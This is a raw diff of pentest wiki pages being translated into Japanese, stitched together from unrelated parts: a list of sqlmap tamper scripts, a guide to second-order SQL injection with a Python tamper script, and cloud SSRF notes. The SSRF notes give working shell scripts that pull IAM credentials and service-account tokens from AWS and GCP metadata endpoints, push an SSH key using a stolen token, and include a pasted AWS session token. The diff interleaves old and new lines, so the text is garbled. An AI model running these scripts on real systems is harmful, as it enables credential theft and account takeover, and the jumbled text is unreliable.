| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 |
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物&&および)に置き換えます。 |
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します機能させるため |
| uppercase.py | 各キーワード文字を大文字の値「INSERT」に置き換えます。 |
| varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 |
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
| xforwardedfor.py | 偽のHTTPヘッダー「X-Forwarded-For」を追加します。 |
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
{{#include ../../../banners/hacktricks-training.md}}
**SQLMap can exploit Second Order SQLis.**\
You need to provide:
**SQLMapはセカンドオーダーSQLインジェクションを悪用できます。**\
提供する必要があるのは:
- The **request** where the **sqlinjection payload** is going to be saved
- The **request** where the **payload** will be **executed**
- **SQLインジェクションペイロード**が保存される**リクエスト**
- **ペイロード**が**実行される****リクエスト**
The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.
**Simple second order example:**
SQLインジェクションペイロードが保存されるリクエストは、**sqlmapの他のインジェクションと同様に示されます**。SQLインジェクションの出力/実行をsqlmapが読み取ることができるリクエストは、`--second-url`またはファイルから完全なリクエストを示す必要がある場合は`--second-req`で示すことができます。
**シンプルなセカンドオーダーの例:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -17,11 +16,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
いくつかのケースでは**これだけでは不十分**であり、ペイロードを送信し、別のページにアクセスする以外の**他のアクションを実行する必要があります**。
In several cases **this won't be enough** because you will need to **perform other actions** apart from sending the payload and accessing a different page.
When this is needed you can use a **sqlmap tamper**. For example the following script will register a new user **using sqlmap payload as email** and logout.
これが必要な場合は、**sqlmap tamper**を使用できます。たとえば、次のスクリプトは**sqlmapペイロードをメールとして使用して新しいユーザーを登録し**、ログアウトします。
```python
#!/usr/bin/env python
@ -31,36 +28,34 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
A **SQLMap tamperは、ペイロードを使ってインジェクションを試みる前に常に実行されます** **そして、ペイロードを返す必要があります**。この場合、ペイロードには関心がありませんが、いくつかのリクエストを送信することに関心があるので、ペイロードは変更されません。
A **SQLMap tamper is always executed before starting a injection try with a payload** **and it has to return a payload**. In this case we don't care about the payload but we care about sending some requests, so the payload isn't changed.
したがって、何らかの理由で第二次SQLインジェクションを悪用するためにより複雑なフローが必要な場合は、次のようになります
So, if for some reason we need a more complex flow to exploit the second order SQL injection like:
- Create an account with the SQLi payload inside the "email" field
- Logout
- Login with that account (login.txt)
- Send a request to execute the SQL injection (second.txt)
**This sqlmap line will help:**
- "email"フィールドにSQLiペイロードを含むアカウントを作成
- ログアウト
- そのアカウントでログインlogin.txt
- SQLインジェクションを実行するリクエストを送信second.txt
**このsqlmapの行が役立ちます**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
@ -75,6 +70,4 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{{#include ../../../banners/hacktricks-training.md}}

File diff suppressed because one or more lines are too long

View File

@ -4,19 +4,18 @@
## AWS
### Abusing SSRF in AWS EC2 environment
### AWS EC2環境におけるSSRFの悪用
**The metadata** endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセス可能です([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF).
メタデータエンドポイントには**2つのバージョン**があります。**最初の**ものは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFがそれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要がありますしたがって、**SSRFで悪用するのがより複雑です**)。
> [!CAUTION]
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
> EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
>
> Moreover, **IMDSv2** will also **block requests to fetch a token that include the `X-Forwarded-For` header**. This is to prevent misconfigured reverse proxies from being able to access it.
You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it:
> さらに、**IMDSv2**は、**`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストをブロックします**。これは、誤って設定されたリバースプロキシがそれにアクセスできないようにするためです。
[メタデータエンドポイントに関する情報はドキュメントにあります](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。以下のスクリプトでは、そこからいくつかの興味深い情報が取得されます:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -24,11 +23,11 @@ URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
@ -46,25 +45,25 @@ eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
@ -76,89 +75,79 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
公開されている**IAM資格情報**の例として、次のリンクを訪問できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
また、次のリンクで公開されている**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
その後、**これらの資格情報をAWS CLIで使用する**ことができます。これにより、**そのロールが持つ権限**で何でも行うことができます。
新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
**aws_session_token**に注意してください。これはプロファイルが機能するために不可欠です。
Notice the **aws_session_token**, this is indispensable for the profile to work.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して、あなたの権限を確認し、権限を昇格させる試みをすることができます。
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
### AWS ECS (コンテナサービス) のSSRF資格情報
### SSRF in AWS ECS (Container Service) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \<GUID>**. To find the \<GUID> you need to read the **environ** variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** inside the machine.\
You could be able to read it exploiting an **Path Traversal** to `file:///proc/self/environ`\
The mentioned http address should give you the **AccessKey, SecretKey and token**.
**ECS**は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがクラスター管理インフラストラクチャを管理するため、自分でスケールする必要はありません。**ECS**で実行されているサービスを侵害することに成功すれば、**メタデータエンドポイントが変更されます**。
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**\<GUID>**を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**を読む必要があります。\
**Path Traversal**を利用して`file:///proc/self/environ`を読み取ることができるかもしれません。\
前述のhttpアドレスは、**AccessKey、SecretKey、およびトークン**を提供するはずです。
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
> **場合によっては**、コンテナから**EC2メタデータインスタンス**にアクセスできることに注意してください前述のIMDSv2 TTL制限を確認してください。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
### SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
### AWS LambdaのSSRF <a href="#id-6f97" id="id-6f97"></a>
In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**.
この場合、**資格情報は環境変数に保存されています**。したがって、それらにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
The **name** of the **interesting env variables** are:
**興味深い環境変数の名前**は次のとおりです:
- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
さらに、IAM資格情報に加えて、Lambda関数には**関数が開始されるときに関数に渡されるイベントデータ**もあります。このデータは[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**機密**の**情報****stageVariables**内のようなを含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセス可能です。
> [!WARNING]
> Note that **lambda credentials** are inside the **env variables**. So if the **stack trace** of the lambda code prints env vars, it's possible to **exfiltrate them provoking an error** in the app.
> **lambda資格情報**は**環境変数**内にあります。したがって、lambdaコードの**スタックトレース**が環境変数を印刷する場合、アプリでエラーを引き起こすことによって**それらを流出させる**ことが可能です。
### SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
We retrieve the `accountId` and `region` from the API.
### AWS Elastic BeanstalkのSSRF URL <a href="#id-6f97" id="id-6f97"></a>
APIから`accountId``region`を取得します。
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
次に、APIから`AccessKeyId``SecretAccessKey`、および`Token`を取得します。
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`を使用して認証情報を使用します。
## GCP <a href="#id-6440" id="id-6440"></a>
You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
[**メタデータエンドポイントに関するドキュメントはこちらで見つけることができます**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
### SSRF URL for Google Cloud <a href="#id-6440" id="id-6440"></a>
### Google CloudのSSRF URL <a href="#id-6440" id="id-6440"></a>
Requires the HTTP header **`Metadata-Flavor: Google`** and you can access the metadata endpoint in with the following URLs:
HTTPヘッダー**`Metadata-Flavor: Google`**が必要で、次のURLでメタデータエンドポイントにアクセスできます
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
Interesting endpoints to extract information:
情報を抽出するための興味深いエンドポイント:
```bash
# /project
# Project name and number
@ -198,22 +187,22 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
@ -231,68 +220,58 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
Betaは現在、ヘッダーを必要としませんMathias Karlsson @avlidienbrunnに感謝)。
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> In order to **use the exfiltrated service account token** you can just do:
> **抽出されたサービスアカウントトークンを使用する**には、次のようにします:
>
> ```bash
> # Via env vars
> # 環境変数を介して
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Via setup
> # セットアップを介して
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
> gcloud config unset auth/access_token_file
> ```
### Add an SSH key <a href="#id-3e24" id="id-3e24"></a>
Extract the token
### SSHキーを追加する <a href="#id-3e24" id="id-3e24"></a>
トークンを抽出する
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token (with the previous output or running the following)
トークンのスコープを確認します(前の出力を使用するか、次を実行します)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
今すぐSSHキーをプッシュします。
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
The metadata endpoint works the same as in VMs but without some endpoints:
メタデータエンドポイントはVMと同様に機能しますが、一部のエンドポイントがありません
```bash
# /project
# Project name and number
@ -308,23 +287,21 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
> [!WARNING]
> There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials
